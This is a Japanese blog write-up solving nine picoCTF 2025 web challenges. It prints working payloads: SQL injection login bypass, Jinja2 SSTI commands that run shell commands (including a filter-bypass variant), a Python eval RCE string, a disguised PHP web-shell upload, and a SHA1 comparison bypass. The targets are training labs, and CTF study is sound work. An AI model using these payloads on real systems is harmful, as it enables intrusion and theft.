1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

picoCTF2025[Web]

Last updated at Posted at 2025-03-18

自分が解いた問題のWriteUPです。
Webは9/11問のみ解きました。

Cookie Monster Secret Recipe

Cookie Monster has hidden his top-secret cookie recipe somewhere on his website. As an aspiring cookie detective, your mission is to uncover this delectable secret. Can you outsmart Cookie Monster and find the hidden recipe?
You can access the Cookie Monster here and good luck

サイトにアクセスしてみる。
image.png

Username:admin
Password:' or 1=1;--

いつも通りSQLインジェクションしてログインするとCookieにBase64されたフラグ発見。

picoCTF{c00k1e_m0nster_l0ves_c00kies_771D5EB0}

head-dump

Welcome to the challenge! In this challenge, you will explore a web application and find an endpoint that exposes a file containing a hidden flag.
The application is a simple blog website where you can read articles about various topics, including an article about API Documentation. Your goal is to explore the application and find the endpoint that generates files holding the server’s memory, where a secret flag is hidden.
The website is running picoCTF News.

サイトにアクセスする。
image.png

/api-docs/にアクセスするとSwagger発見。
すると/headdumpというエンドポイントがあることがわかる。
アクセスするとファイルがダウンロードされる。
そのファイルの中にフラグ発見。

picoCTF{Pat!3nt_15_Th3_K3y_f1179e46}

3v@l

ABC Bank's website has a loan calculator to help its clients calculate the amount they pay if they take a loan from the bank. Unfortunately, they are using an eval function to calculate the loan. Bypassing this will give you Remote Code Execution (RCE). Can you exploit the bank's calculator and read the flag?

サイトにアクセスしてみるとスクリーンショット 2025-03-08 110505.png

いつも通り中身を見ると
image.png
ヒントから/flag.txtにあることがわかったので、
サニタイジングを回避したうえで

eval("open(flag.txt).read()")

を実行したい
ということで、

open(chr(47)+'flag'+chr(46)+'txt').read()

を実行してあげるとフラグゲット

picoCTF{D0nt_Use_Unsecure_f@nctionsa4121ed2}

SSTI1

I made a cool website where you can announce whatever you want! Try it out!
I heard templating is a cool and modular way to build web apps! Check out my website here!

image.png

を参考に

{{request.application.__globals__.__builtins__.__import__('os').popen('ls -a').read()}}

でディレクトリ探索
image.png

{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag').read()}}

でフラグゲット

picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_3066c7bd}

n0s4n1ty 1

A developer has added profile picture upload functionality to a website. However, the implementation is flawed, and it presents an opportunity for you. Your mission, should you choose to accept it, is to navigate to the provided web page and locate the file upload area. Your ultimate goal is to find the hidden flag located in the /root directory.

image.png

いつも通り画像に擬態したphp-jpeg-shell.phpを使用。

アップロード後、/uploads/shell.phpに保存されているそうなのでアクセスし、
image.png

/root/flag.txt

にあるらしい。

sudo cat /root/flag.txt

でフラグゲット

picoCTF{wh47_c4n_u_d0_wPHP_8ca28f94}

Apriti sesamo

I found a web app that claims to be impossible to hack!
Try it here!

image.png

SQLインジェクションを試してもうまくいかず...

ヒントを見てみるとEmacsの大ファンが作っていてBackUPファイルを見てみるといいとのこと。

調べてみるとEmacsでは編集前に自動で末尾に「~」がついたバックアップファイルが作成されるらしい。
http://yohshiy.blog.fc2.com/blog-entry-319.html

/impossibleLogin.php~にアクセスしてみるとこんなコメントアウトが見つかった。

<!--?php
 if(isset($_POST[base64_decode("\144\130\x4e\154\x63\155\x35\x68\142\127\125\x3d")])&& isset($_POST[base64_decode("\143\x48\x64\x6b")])){$yuf85e0677=$_POST[base64_decode("\144\x58\x4e\154\x63\x6d\65\150\x62\127\x55\75")];$rs35c246d5=$_POST[base64_decode("\143\x48\144\153")];if($yuf85e0677==$rs35c246d5){echo base64_decode("\x50\x47\112\x79\x4c\172\x35\x47\x59\127\154\163\132\127\x51\x68\111\x45\x35\166\x49\x47\132\163\131\127\x63\x67\x5a\155\71\171\111\x48\x6c\166\x64\x51\x3d\x3d");}else{if(sha1($yuf85e0677)===sha1($rs35c246d5)){echo file_get_contents(base64_decode("\x4c\151\64\166\x5a\x6d\x78\x68\x5a\x79\65\60\145\110\x51\75"));}else{echo base64_decode("\x50\107\112\171\x4c\x7a\65\107\x59\x57\154\x73\x5a\127\x51\x68\x49\105\x35\x76\111\x47\132\x73\131\127\x63\x67\x5a\155\71\x79\x49\110\154\x76\x64\x51\x3d\75");}}}?-->

分かりやすく整形してみる。

if(isset($_POST[username])&& isset($_POST[base64_decode("pwd")])){
    $yuf85e0677=$_POST[username];
    $rs35c246d5=$_POST[pwd];
    if($yuf85e0677==$rs35c246d5){
        echo <br/>Failed! No flag for you;
    }else{
        if(sha1($yuf85e0677)===sha1($rs35c246d5)){
            echo file_get_contents(../flag.txt);
        }else{
            echo <br/>Failed! No flag for you;
        }
    }
}

ここから、sha1した結果が一致すればいいらしい。

なんか似たようなのやったな
https://qiita.com/Taka-C/items/780f1d7f2307e0ddf4ae

今回はSHA1の衝突ということで0e数字を作るのは難しい。
そこで、もう一つ配列として渡してあげることで==をかいくぐる方法があるらしい。

ということでBurpSuiteを起動してログインしてみる。
image.png

フラグゲット

picoCTF{w3Ll_d3sErV3d_Ch4mp_76d46a4d}

pachinko

History has failed us, but no matter.
Server source
There are two flags in this challenge. Submit flag one here, and flag two in Pachinko Revisited.
Website

image.png

SSTI2

I made a cool website where you can announce whatever you want! I read about input sanitization, so now I remove any kind of characters that could be a problem :)
I heard templating is a cool and modular way to build web apps! Check out my website here!

SSTI1と同じように{{request....}}を入れると怒られた...
image.png
サニタイズもされてそう。
調べてみる。
attr('')とか\x5fとかで回避するらしい。

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat flag')|attr('read')()}}

フラグゲット

picoCTF{sst1_f1lt3r_byp4ss_8b534b82}

WebSockFish

Can you win in a convincing manner against this chess bot? He won't go easy on you!
You can find the challenge here.

アクセスしてみると、チェスボードがある。
image.png
あと、WebSocketを使って盤面の具合を送って魚のワードを決めてそう。

コンソールから、

ws.send("eval -10000000000000000000000")

image.png

と相手がめっちゃ負けてることにするとフラグゲット

picoCTF{c1i3nt_s1d3_w3b_s0ck3t5_e5e75e69}

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?